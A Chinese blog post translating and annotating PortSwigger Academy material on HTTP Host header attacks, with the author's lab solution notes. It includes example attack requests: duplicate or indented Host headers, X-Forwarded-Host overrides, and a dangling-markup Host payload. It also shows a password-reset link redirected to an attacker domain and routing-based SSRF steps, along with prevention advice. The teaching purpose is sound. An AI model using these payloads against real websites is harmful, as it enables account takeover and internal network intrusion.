PortSwigger Academy | HTTP Host header attacks : HTTP Host头攻击

本文地址: https://blog.csdn.net/qq_42942594/article/details/110090787

总结:

0.可能导致的问题: Web缓存中毒; 特定功能中的业务逻辑缺陷; 基于路由的SSRF; 经典的服务器端漏洞，例如SQL注入
1.邮件重置密码中毒：直接更改Host、设置X-Forwarded-Host、配合XSS或danling makeup
2.web缓存中毒：用Host感染cache，导致其他用户拿到被污染的响应。
3.如果目标被扫描到Host头攻击，可以试试sql注入等。
4.利用Host: localhost,主机头身份验证绕过.
5.在某些情况下，内部站点甚至可能没有与之关联的公共DNS记录。但是，攻击者通常可以访问他们有权访问的任何服务器上的任何虚拟主机，前提是他们可以猜测主机名。如果他们通过其他方式（例如信息公开）发现了隐藏的域名，则只需直接提出请求即可。否则，他们可以使用Burp Intruder之类的工具，通过简单的候选子域单词列表对虚拟主机进行暴力破解。(这个可以试试)
6.有可能将一个简单的负载平衡器转变为通往整个内部网络的网关。您可以使用Burp Collaborator帮助识别这些漏洞

1.什么是HTTP Host头?

: What is the HTTP Host header?
从HTTP / 1.1开始，HTTP Host标头是必需的请求标头。 它指定客户端要访问的域名。 例如，当用户访问https://portswigger.net/web-security时，他们的浏览器将组成一个包含Host标头的请求，如下所示：

GET /web-security HTTP/1.1
Host: portswigger.net

在某些情况下，例如当请求已由中介系统转发时，主机值可能会在到达预期的后端组件之前进行更改。 我们将在下面更详细地讨论这种情况。

2.HTTP Host标头的目的是什么？

: What is the purpose of the HTTP Host header?
HTTP Host标头的目的是帮助识别客户端想要与之通信的后端组件。如果请求不包含Host标头，或者Host标头以某种方式格式不正确，则在将传入请求路由到预期的应用程序时可能会导致问题。

从历史上看，这种歧义并不存在，因为每个IP地址只会托管单个域的内容。如今，很大程度上是由于基于云的解决方案和将许多相关体系结构外包的不断增长的趋势，通常可以在同一IP地址访问多个网站和应用程序。这种方法的普及也部分是由于IPv4地址耗尽所致。

当可以通过同一IP地址访问多个应用程序时，最常见的原因是以下情况之一。

虚拟主机

: Virtual hosting
一种可能的情况是，单个Web服务器托管多个网站或应用程序。这可能是具有单个所有者的多个网站，但是也可能将具有不同所有者的网站托管在单个共享平台上。这种情况比以前少见，但在某些基于云的SaaS解决方案中仍然会发生。

无论哪种情况，尽管这些不同的网站中的每一个都将具有不同的域名，但是它们都与服务器共享一个公共IP地址。以这种方式在单个服务器上托管的网站称为“虚拟主机”。

对于访问该网站的普通用户来说，虚拟主机通常与托管在其专用服务器上的网站是无法区分的。

通过中介路由流量

: Routing traffic via an intermediary
另一个常见的情况是，网站托管在不同的后端服务器上，但是客户端和服务器之间的所有流量都通过中介系统进行路由。这可能是一个简单的负载平衡器或某种反向代理服务器。在客户通过内容分发网络（CDN）访问网站的情况下，这种设置尤其普遍。

在这种情况下，即使网站托管在单独的后端服务器上，它们的所有域名也都解析为中间组件的单个IP地址。这带来了与虚拟主机相同的挑战，因为反向代理或负载均衡器需要知道将每个请求路由到的适当后端。

HTTP Host标头如何解决此问题?

: How does the HTTP Host header solve this problem?
在这两种情况下，都依赖于Host标头来指定预期的收件人。一个常见的类比是向居住在公寓楼中的某人发送一封信的过程。整个建筑物具有相同的街道地址，但是在该街道地址后面有许多不同的公寓，每套公寓都需要以某种方式接收正确的邮件。解决此问题的一种方法就是简单地在地址中包含公寓号码或收件人的名字。对于HTTP消息，Host标头起类似的作用。

当浏览器发送请求时，目标URL将解析为特定服务器的IP地址。当该服务器接收到请求时，它参考主机头来确定预期的后端并相应地转发该请求。

3.什么是HTTP主机标头攻击？

: What is an HTTP Host header attack?
HTTP主机标头攻击利用易受攻击的网站，这些网站以不安全的方式处理主机标头的值。如果服务器隐式信任Host标头，但未能正确验证或转义它，则攻击者可能能够使用此输入来注入有害的有效负载，以操纵服务器端的行为。涉及直接将有效负载注入主机标头的攻击通常称为“主机标头注入”攻击。

现成的Web应用程序通常不知道它们部署在哪个域上，除非在安装过程中在配置文件中手动指定了该域。例如，当他们需要知道当前域以生成电子邮件中包含的绝对URL时，他们可以求助于Host头中的域：

<a href="https://_SERVER['HOST']/support">联系支持</a>

标头值还可以用于网站基础结构的不同系统之间的各种交互。

由于Host标头实际上是用户可控制的，因此这种做法可能导致许多问题。如果没有正确地对输入进行转义或验证，则Host标头是利用一系列其他漏洞的潜在载体，最明显的是：

• Web缓存中毒
• 特定功能中的业务逻辑缺陷
• 基于路由的SSRF
• 经典的服务器端漏洞，例如SQL注入

4.HTTP Host标头漏洞如何产生？

: How do HTTP Host header vulnerabilities arise?
HTTP主机标头漏洞通常是由于错误的假设而造成的，即该标头不可由用户控制。即使攻击者可以使用Burp Proxy之类的工具轻松地修改主机标头，这也会在Host标头中创建隐式信任，并导致其验证或转义不足。

即使可以更安全地处理Host标头本身，具体取决于处理传入请求的服务器的配置，也可以通过注入其他标头来覆盖Host。有时，网站所有者不知道默认情况下支持这些标头，因此，它们可能不会受到相同级别的审查。

实际上，这些漏洞中的许多漏洞并不是由于编码不安全，而是由于相关基础架构中一个或多个组件的配置不安全。因为网站将第三方技术集成到其体系结构中，而不必了解配置选项及其安全隐患，所以可能会出现这些配置问题。

5.利用HTTP主机标头漏洞 : ↓

: Exploiting HTTP Host header vulnerabilities
到目前为止，您应该已经对HTTP Host标头有了一个很好的了解。对于渗透测试者和Bug赏金猎人，我们创建了一些其他指南，指导您如何自行识别和利用这些漏洞。我们还提供了一些故意易受攻击的LABS，以便您可以练习其中的一些技术。
见下一部分.

6.如何防止HTTP主机标头攻击

: How to prevent HTTP Host header attacks
为防止HTTP主机头攻击，最简单的方法是避免在服务器端代码中完全使用主机头。仔细检查每个URL是否真的需要是绝对的。您通常会发现您可以只使用相对URL。这个简单的更改可以帮助您特别防止Web缓存中毒漏洞。

防止HTTP主机标头攻击的其他方法包括：

保护绝对网址

: Protect absolute URLs
当必须使用绝对URL时，应要求在配置文件中手动指定当前域，并引用此值而不是Host标头。例如，这种方法将消除密码重置中毒的威胁。

验证主机头

: Validate the Host header
如果必须使用Host标头，请确保正确验证它。这应该包括对照允许的域白名单检查它，以及拒绝或重定向对无法识别的主机的任何请求。您应查阅框架文档以获取有关执行此操作的指导。例如，Django框架在设置文件中提供了ALLOWED_HOSTS选项。这种方法将减少您遭受主机标头注入攻击的风险。

不要支持主机替代标题

: Don’t support Host override headers
同样重要的是要检查您是否支持可能用于构造这些攻击的其他标头，尤其是X-Forwarded-Host。请记住，默认情况下可能支持这些功能。

将允许的域名列入白名单

: Whitelist permitted domains
为了防止对内部基础结构进行基于路由的攻击，应将负载平衡器或任何反向代理配置为仅将请求转发到允许域的白名单。

注意仅限内部使用的虚拟主机

: Be careful with internal-only virtual hosts
使用虚拟托管时，应避免将面向内部的网站和应用程序与面向公众的内容托管在同一服务器上。否则，攻击者可能可以通过主机标头操纵来访问内部域。

---

如何识别和利用HTTP Host标头漏洞: How to identify and exploit HTTP Host header vulnerabilities:

1.如何使用HTTP Host标头测试漏洞

: How to test for vulnerabilities using the HTTP Host header
要测试网站是否容易受到HTTP Host标头的攻击，您将需要拦截代理（例如Burp Proxy）和手动测试工具（例如Burp Repeater和Burp Intruder）。

简而言之，您需要确定您是否能够修改Host标头，并且仍然能够根据您的请求到达目标应用程序。如果是这样，则可以使用此标头来探测应用程序，并观察它对响应有什么影响。

提供一个任意的主机头

: Supply an arbitrary Host header
在探查主机头注入漏洞时，第一步是测试当您通过主机头提供任意的、无法识别的域名时会发生什么。

一些拦截代理直接从Host标头获取目标IP地址，这使得这种测试几乎不可能。您对标头所做的任何更改都只会导致将请求发送到完全不同的IP地址。但是，Burp Suite可以准确地维护主机标头和目标IP地址之间的分隔。这种分隔允许您提供所需的任何任意或格式错误的Host标头，同时仍然确保将请求发送到预期的目标。

提示：
目标URL显示在面板顶部（用于Burp转发器和代理拦截）或Burp Intruder中的“ Target”选项卡上。您可以通过单击铅笔图标手动编辑目标。

有时，即使您提供了意外的Host标头，您仍然仍然可以访问目标网站。这可能是出于多种原因。例如，有时服务器会配置为默认或后备选项，以防它们收到无法识别的域名请求。如果您的目标网站碰巧是默认网站，那么您很幸运。在这种情况下，您可以开始研究应用程序使用Host标头执行的操作以及此行为是否可利用。

另一方面，由于Host标头是网站工作方式的基本组成部分，因此对其进行篡改通常意味着您将根本无法访问目标应用程序。收到您的请求的前端服务器或负载平衡器可能根本不知道将请求转发到何处，从而导致某种“无效的主机头”错误。如果通过CDN访问目标，则尤其可能发生这种情况。在这种情况下，您应该继续尝试下面概述的一些技术。

检查验证错误

: Check for flawed validation
您可能会发现由于某种安全措施而阻止了您的请求，而不是收到“Invalid Host header”响应。例如，某些网站将验证Host标头是否与TLS握手中的SNI相匹配。这并不一定意味着它们不受Host标头攻击。

您应该尝试了解网站如何解析Host标头。有时，这可能会发现可用于绕过验证的漏洞。例如，某些解析算法将从Host标头中省略端口，这意味着仅域名被验证。如果您还能够提供非数字端口，则可以保持域名不变，以确保您可以到达目标应用程序，同时还可以通过该端口注入有效负载。

GET /example HTTP/1.1
Host: vulnerable-website.com:bad-stuff-here

其他站点将尝试应用匹配逻辑以允许任意子域。在这种情况下，您可以通过注册一个以与白名单中的字符相同的字符序列结尾的任意域名来完全绕过验证：

GET /example HTTP/1.1
Host: notvulnerable-website.com

另外，您可以利用已经受到破坏的安全性较低的子域：

GET /example HTTP/1.1
Host: hacked-subdomain.vulnerable-website.com

有关常见域验证缺陷的更多示例，请查看我们的内容，以规避常见的SSRF防御和Origin标头解析错误。

发送模糊的请求

: Send ambiguous requests
验证主机的代码和对其进行脆弱处理的代码通常位于不同的应用程序组件中，甚至位于单独的服务器上。通过识别和利用它们在检索主机标头方面的差异，您可以发出模棱两可的请求，该请求似乎具有不同的主机，具体取决于正在查看的系统。

下面仅是一些示例，说明您如何能够创建不明确的请求。

注入重复的主机头

: Inject duplicate Host headers
一种可能的方法是尝试添加重复的Host标头。诚然，这通常只会导致您的请求被阻止。但是，由于浏览器不太可能发送此类请求，因此您有时可能会发现开发人员没有预料到这种情况。在这种情况下，您可能会暴露一些有趣的行为怪癖。

不同的系统和技术将以不同的方式处理这种情况，但是通常会给两个标头之一优先于另一个标头，从而有效地覆盖其值。当系统不同意哪个标头是正确的标头时，这可能导致您可能会利用差异。考虑以下请求：

GET /example HTTP/1.1
Host: vulnerable-website.com
Host: bad-stuff-here

假设前端将优先级设置为标头的第一个实例，但后端优先选择最终实例。在这种情况下，您可以使用第一个标头来确保将请求路由到预期的目标，并使用第二个标头将有效负载传递到服务器端代码中。

提供一个绝对URL

: Supply an absolute URL
尽管请求行通常在请求的域上指定相对路径，但是许多服务器也配置为了解对绝对URL的请求。

同时提供绝对URL和Host标头导致的歧义也可能导致不同系统之间的差异。正式地，在路由请求时，应优先考虑请求行，但实际上并非总是如此。您可能会以与重复的Host标头相同的方式利用这些差异。

GET https://vulnerable-website.com/ HTTP/1.1
Host: bad-stuff-here

请注意，您可能还需要尝试不同的协议。有时，服务器的行为会有所不同，具体取决于请求行包含HTTP还是HTTPS URL。

添加换行

: Add line wrapping
您还可以通过缩进带有空格字符的HTTP标头来发现古怪的行为。某些服务器会将缩进的标头解释为换行，因此将其视为前一个标头值的一部分。其他服务器将完全忽略缩进的标头。

由于这种情况的处理方式非常不一致，因此处理您的请求的不同系统之间通常会存在差异。例如，考虑以下请求：

GET /example HTTP/1.1
 Host: bad-stuff-here
Host: vulnerable-website.com

该网站可能会阻止带有多个主机标头的请求，但是您可以通过缩进其中的一个缩略来绕过此验证。如果前端忽略缩进的标头，则该请求将作为对弱势网站的普通请求进行处理。现在，假设后端忽略前导空间，并且在重复的情况下将优先处理第一个标头。这种差异可能使您可以通过“包装的”主机标头传递任意值。

其他技巧

: Other techniques
这只是发出有害的，模棱两可的请求的许多可能方式的一小部分。您还可以采用多种HTTP请求走私技术来构造主机标头攻击。

注入主机覆盖头

: Inject host override headers
即使您不能使用歧义的请求覆盖Host标头，也有其他方法可以覆盖它的值，同时保持原样。这包括通过旨在满足此目的而设计的其他几个HTTP标头之一注入有效负载，即使对于更多无辜的用例也是如此。

正如我们已经讨论的那样，通常可以通过某种中间系统（例如负载平衡器或反向代理）访问网站。在这种体系结构中，后端服务器接收的Host标头可能包含这些中间系统之一的域名。这通常与请求的功能无关。

为了解决此问题，前端可以注入X-Forwarded-Host标头，其中包含来自客户端初始请求的Host标头的原始值。因此，当存在X-Forwarded-Host标头时，许多框架将改为引用它。即使没有前端使用此标头，您也可能会观察到此行为。

有时您可以使用X-Forwarded-Host注入恶意输入，同时绕过Host标头本身的任何验证。

GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: bad-stuff-here

尽管X-Forwarded-Host是此行为的事实上的标准，但是您可能会遇到其他具有类似目的的标头，包括：

• X-Host
• X-Forwarded-Server
• X-HTTP-Host-Override
• Forwarded

提示:
在Burp Suite中，您可以使用Param Miner扩展的“ Guess headers”功能，使用其广泛的内置单词表来自动探查受支持的标题。

从安全角度来看，必须注意一些网站，甚至可能是您自己的网站，无意中支持这种行为。这通常是因为这些标头中的一个或多个在默认情况下在某些第三页中启用

2.如何利用HTTP Host标头

一旦确定可以将任意主机名传递给目标应用程序，就可以开始寻找利用它的方法。

在本节中，我们将提供一些您可能能够构造的常见HTTP Host标头攻击的示例。我们还创建了一些故意易受攻击的网站，以便您可以了解这些漏洞的工作原理并将所学内容进行测试。

攻击者有时可以使用Host标头进行密码重置中毒攻击。要了解有关此技术的更多信息，并使用我们的LABS亲自尝试，请查看下面的专用主题。

密码重置中毒

密码重置如何工作？

几乎所有需要登录的网站还实现了允许用户忘记密码重设密码的功能。有几种方法可以实现此目的，并具有不同程度的安全性和实用性。最常见的方法之一是这样的：

1.用户输入其用户名或电子邮件地址，然后提交密码重设请求。
2.该网站检查该用户是否存在，然后生成一个临时的，唯一的，高熵令牌，该令牌与后端的用户帐户相关联。
3.该网站向用户发送一封电子邮件，其中包含用于重置其密码的链接。用户的唯一重置令牌作为查询参数包含在相应的URL中：
https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j
4.当用户访问此URL时，网站将检查提供的令牌是否有效，并使用它来确定要重置哪个帐户。如果一切都符合预期，则可以为用户提供输入新密码的选项。最后，令牌被销毁。
5.与其他方法相比，此过程足够简单且相对安全。但是，其安全性依赖于以下原则：只有目标用户才能访问其电子邮件收件箱，从而可以访问其唯一令牌。密码重置中毒是窃取此令牌以更改另一个用户密码的方法。

如何构造密码重置中毒攻击

如果发送给用户的URL是基于可控输入（例如Host标头）动态生成的，则可能会构成如下的密码重置中毒攻击：

1.攻击者根据需要获取受害者的电子邮件地址或用户名，并代表他们提交密码重置请求。提交表单时，他们将拦截生成的HTTP请求并修改Host标头，使其指向他们控制的域。在此示例中，我们将使用evil-user.net。
2.受害人直接从网站上收到真实的密码重置电子邮件。这似乎包含用于重置其密码的普通链接，并且至关重要的是，包含与他们的帐户相关联的有效密码重置令牌。但是，URL中的域名指向攻击者的服务器：
https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j
3.如果受害者单击此链接（或以其他方式（例如，通过防病毒扫描程序获取），则密码重置令牌将被传递到攻击者的服务器。
4.攻击者现在可以访问易受攻击的网站的真实URL，并通过相应的参数提供受害者的被盗令牌。然后，他们将能够将用户的密码重置为所需的密码，然后登录到其帐户。
例如，在实际攻击中，攻击者可能会尝试通过首先使用伪造的违规通知对受害者进行预热来提高受害者单击链接的可能性。

即使您无法控制密码重置链接，有时也可以使用Host标头将HTML注入敏感的电子邮件中。请注意，电子邮件客户端通常不执行JavaScript，但是其他HTML注入技术（如dangling markup attacks悬挂标记攻击）可能仍然适用。

LAB: Basic password reset poisoning

在这个实验室里你只需要把Host改成your-exploit-server的地址

然后查看your-exploit-server日志即可获得目标的重置密码token

LAB: Password reset poisoning via middleware

在这个实验室里你只需要把X-Forwarded-Host改成your-exploit-server的地址

然后查看your-exploit-server日志即可获得目标的重置密码token

LAB: Password reset poisoning via dangling markup

在这个实验室里你只需要把Host 改为：Host: ac4c1f641f959ad780b84e6300a700d0.web-security-academy.net:'<a href="https://ac711ff01f2d9a2f80fb4ea3011500e8.web-security-academy.net/?

然后查看your-exploit-server日志即可获得目标的重置密码token
不过这里我不太明白，明明都全部算作数据部分了，那么如何发起的请求呢？
唉，估计是服务器发起的请求吧，反正我的浏览器没有发起这个请求

通过Host标头导致Web缓存中毒

Web cache poisoning via the Host header
在探查潜在的主机头攻击时，您经常会遇到无法直接利用的看似脆弱的行为。例如，您可能会发现Host标头在没有HTML编码的情况下反映在响应标记中，甚至直接在脚本导入中使用。反射的客户端漏洞（例如XSS）是由Host标头引起的，通常无法利用。攻击者无法以有用的方式强迫受害者的浏览器发布不正确的主机。（这一段话的意思应该是：如果Host头可以导致xss等漏洞，那么你也没办法让受害着的浏览器发起携带恶意Host头的请求）

但是，如果目标使用Web缓存，则可以通过说服缓存为其他用户提供中毒的响应，而将这种无用的，反映的漏洞变成危险的，已存储的漏洞。

要构造Web缓存中毒攻击，您需要从服务器获取反映已注入有效负载的响应。面临的挑战是在保留仍将映射到其他用户请求的缓存键的同时做到这一点。如果成功，则下一步是缓存此恶意响应。然后它将提供给尝试访问受影响页面的所有用户。

独立缓存通常在缓存键中包含Host标头，因此这种方法通常在集成的应用程序级缓存上效果最佳。就是说，前面讨论的技术有时甚至可以使您毒害甚至独立的Web缓存。

LAB：Web cache poisoning via ambiguous requests

通过模糊的请求导致Web缓存中毒

利用经典的服务器端漏洞

每个HTTP标头都是利用经典服务器端漏洞的潜在载体，主机标头也不例外。例如，您应该通过Host标头尝试通常的SQL注入探测技术。如果将标头的值传递到SQL语句中，则这可能是可利用的。

如果目标被扫描到Host头攻击，可以试试sql注入

访问受限功能

出于相当明显的原因，通常网站仅将对某些功能的访问限制为内部用户。但是，某些网站的访问控制功能做出了错误的假设，使您可以通过对Host标头进行简单的修改来绕过这些限制。这可能会增加其他攻击的攻击面。

Lab: Host header authentication bypass

主机头身份验证绕过

使用虚拟主机强行访问内部网站

公司有时会错误地在同一服务器上托管可公开访问的网站和私有内部网站。服务器通常同时具有公共IP地址和私有IP地址。由于内部主机名可能会解析为私有IP地址，因此无法始终通过查看DNS记录来始终检测到这种情况：

www.example.com：12.34.56.78
intranet.example.com：10.0.0.132

在某些情况下，内部站点甚至可能没有与之关联的公共DNS记录。但是，攻击者通常可以访问他们有权访问的任何服务器上的任何虚拟主机，前提是他们可以猜测主机名。如果他们通过其他方式（例如信息公开）发现了隐藏的域名，则只需直接提出请求即可。否则，他们可以使用Burp Intruder之类的工具，通过简单的候选子域单词列表对虚拟主机进行暴力破解。

基于路由的SSRF

基于SSRF的路由攻击有时也可能使用高影响的主机头。这些攻击有时被称为“主机头SSRF攻击”。

典型的SSRF漏洞通常基于XXE或可利用的业务逻辑，该业务逻辑将HTTP请求发送到从用户可控输入派生的URL。另一方面，基于路由的SSRF依赖于利用在许多基于云的架构中流行的中间组件。这包括内部负载平衡器和反向代理。

尽管部署这些组件的目的不同，但从根本上讲，它们接收请求并将其转发到适当的后端。如果不安全地将它们配置为基于未验证的主机头转发请求，则可以操纵它们将请求错误地路由到攻击者选择的任意系统。

这些系统是很好的目标。它们处于特权网络位置，允许它们直接从公共网络接收请求，同时还可以访问大部分（如果不是全部）内部网络。这使得主机头成为SSRF攻击的强大载体，有可能将一个简单的负载平衡器转变为通往整个内部网络的网关。

您可以使用Burp Collaborator帮助识别这些漏洞。如果您在主机标头中提供协作服务器的域，然后从目标服务器或路径系统中的其他服务器接收DNS查找，则表示您可以将请求路由到任意域。

在确认可以成功地操纵中介系统将请求路由到任意公共服务器之后，下一步是查看是否可以利用此行为访问仅限内部的系统。为此，您需要标识目标内部网络上正在使用的专用IP地址。除了应用程序泄漏的任何IP地址之外，您还可以扫描属于该公司的主机名，以查看是否有任何解析到私有IP地址的信息。如果所有这些都失败了，您仍然可以通过简单地强制使用标准的私有IP范围（如192.168.0.0/16）来识别有效的IP地址。

Lab: Routing-based SSRF

Lab: SSRF via flawed request parsing

这是正常请求

如果我们改了Host，返回包表明：似乎会验证Host

现在用绝对url和正确Host

再用错误Host，好像不验证Host了

用burpcollaborator测试一下目标网关的行为

爆破找到192.168.0.44，然后删除carlos即可

基于格式不正确的请求行的SSRF

自定义代理有时无法正确验证请求行，这可能会使您提供不寻常的、格式错误的输入，并产生不幸的结果。

例如，反向代理可能从请求行获取路径，并在其前面加上前缀http://backend-server，并将请求路由到该上游URL。如果路径以 /字符开头，那么这很好，但是如果以@ 字符开头呢？

GET @private-intranet/example HTTP/1.1

生成的上游URL将是http://backend-server@private-intranet/example，大多数HTTP库将其解释为使用backend-server作为用户名请求private-intranet.